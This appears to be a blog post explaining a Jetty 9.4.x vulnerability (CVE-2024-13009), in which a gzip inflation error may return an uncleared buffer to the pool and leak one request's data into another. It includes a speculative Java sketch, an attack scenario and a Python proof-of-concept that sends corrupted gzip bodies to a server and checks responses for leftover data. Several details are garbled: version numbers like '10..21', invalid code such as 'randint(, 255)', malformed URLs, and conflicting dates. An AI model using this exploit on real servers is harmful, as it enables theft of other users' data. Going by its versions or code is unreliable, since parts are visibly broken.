Web servers handle lots of data, and the way they manage memory is crucial for both performance and security. Eclipse Jetty is a popular Java-based web server often used in cloud setups, IoT, and enterprise apps. In early 2024, a security hole, CVE-2024-13009, was found in Jetty versions 9.4. to 9.4.56 that could lead to data leaks between different requests. This post breaks down how this vulnerability happens, why it’s dangerous, and how you might exploit it, all in simple language.

What is CVE-2024-13009?

In Jetty versions 9.4. through 9.4.56, there’s a bug in how the server deals with HTTP requests that are compressed using gzip. If Jetty hits an error while decompressing (or “inflating”) a request body, it may accidentally mismanage a memory buffer. Instead of keeping each request’s data strictly separated, Jetty could mistakenly mix things up. That might let one user see pieces of another user’s data, or cause random failures.

The cause? When a gzipped request body can't be properly decompressed because of a gzip error, Jetty sometimes releases (or “closes”) a buffer incorrectly. If that buffer gets reused for the next connection before it’s really ready, sensitive data from the previous request could leak into the new request.

Let’s say Jetty gets a POST request with the following headers

POST /upload HTTP/1.1
Content-Encoding: gzip
Content-Length: 125
...

If the body is corrupted, Jetty’s GzipHandler tries to decompress it. When the decompression fails, the buffer used to hold the (broken) request might be accidentally released—without being zeroed or cleared. That buffer can then get assigned to the next request.

Here’s a rough sketch of what the broken logic might look like

ByteBuffer buffer = byteBufferPool.acquire();
// try to inflate incoming gzip data
try {
    inflater.setInput(buffer);
    int result = inflater.inflate(outputArray);
    // ... handle result ...
} catch (DataFormatException e) {
    // gzip error here!
    byteBufferPool.release(buffer); // <- Released while still containing data!
    throw new BadRequestException("Invalid gzip data");
}
// buffer returned to pool, but contents not cleared

The unforgiving part is in the error path: release() puts the buffer back so it can be reused for future HTTP bodies. The data inside isn’t always wiped out, so a new request might read leftovers from the previous connection.

Deployments where multiple users or tenants send requests close together

This does not affect newer, actively maintained Jetty branches (like 10.x or 11.x as of June 2024).

Attack Scenario

1. The attacker sends a crafted HTTP request with gzip-encoded body that is intentionally corrupted to trigger a decompression failure.
2. Quickly, before (or while) the previous buffer is reused, the attacker (or another user) makes another request, possibly with a view to leak uninitialized memory.
3. If lucky, the new request handler gets the same buffer, now filled with fragments of the old, sensitive data (like passwords, tokens, or even uploaded files).

Here’s a demo in Python that could assist in triggering the bug

import requests
import gzip
import random

# step 1: send corrupted gzip body
bad_body = b"\x1f\x8b" + bytes([random.randint(, 255)]) * 20
headers = {
    'Content-Encoding': 'gzip',
    'Content-Length': str(len(bad_body)),
    'Content-Type': 'application/octet-stream'
}
requests.post("http://victim-jetty/upload";, data=bad_body, headers=headers)

# step 2: immediately send a legit request and check for data leakage
response = requests.post("http://victim-jetty/upload";, data=b'hello', headers={'Content-Type': 'text/plain'})
print(response.text)  # check for leftover data

*Note: In practice, the timing is tricky and may require flooding the server with requests.*

Upgrade Jetty to at least 9.4.57, 10..21, 11..21, or newer.

- As a temporary fix, disable request compression (remove Content-Encoding: gzip from accepted headers) where practical.

Ensure your buffer or pool implementation properly clears memory on release.

Official advisory and patched versions:
- Eclipse Jetty Security Advisory (CVE-2024-13009)
- Jetty 9.4.57 Changelog

Conclusion

CVE-2024-13009 is a classic memory management slip: if you release or reuse a buffer before zeroing out sensitive data, you risk leaking info between users. It’s another reason to always keep your web server up-to-date and to pay special attention to how low-level resources are handled in high-traffic, multi-user software.

This post explained the cause, provided an example exploit, and included references for fixing it. If you’re running Jetty 9.4.x, patch now!


*Exclusive summary for the community. Stay secure and always patch early!*

Timeline

Published on: 05/08/2025 18:15:41 UTC
Last modified on: 05/12/2025 17:32:52 UTC